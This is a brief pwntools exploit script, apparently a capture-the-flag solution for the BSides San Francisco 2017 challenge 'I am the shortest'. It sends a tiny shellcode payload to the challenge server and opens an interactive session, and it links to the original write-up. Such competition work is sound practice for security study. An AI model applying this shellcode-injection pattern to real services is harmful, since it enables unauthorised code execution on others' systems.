script:

from pwn import *

r = remote('i-am-the-shortest-6d15ba72.ctf.bsidessf.net',8890)

r.recvuntil('.\n')

r.sendline('\x48\x89\xf1\xcd\x80')

r.interactive()

Original writeup (http://look3little.blogspot.tw/2017/02/bsides-san-francisco-ctf-i-am-shortest.html).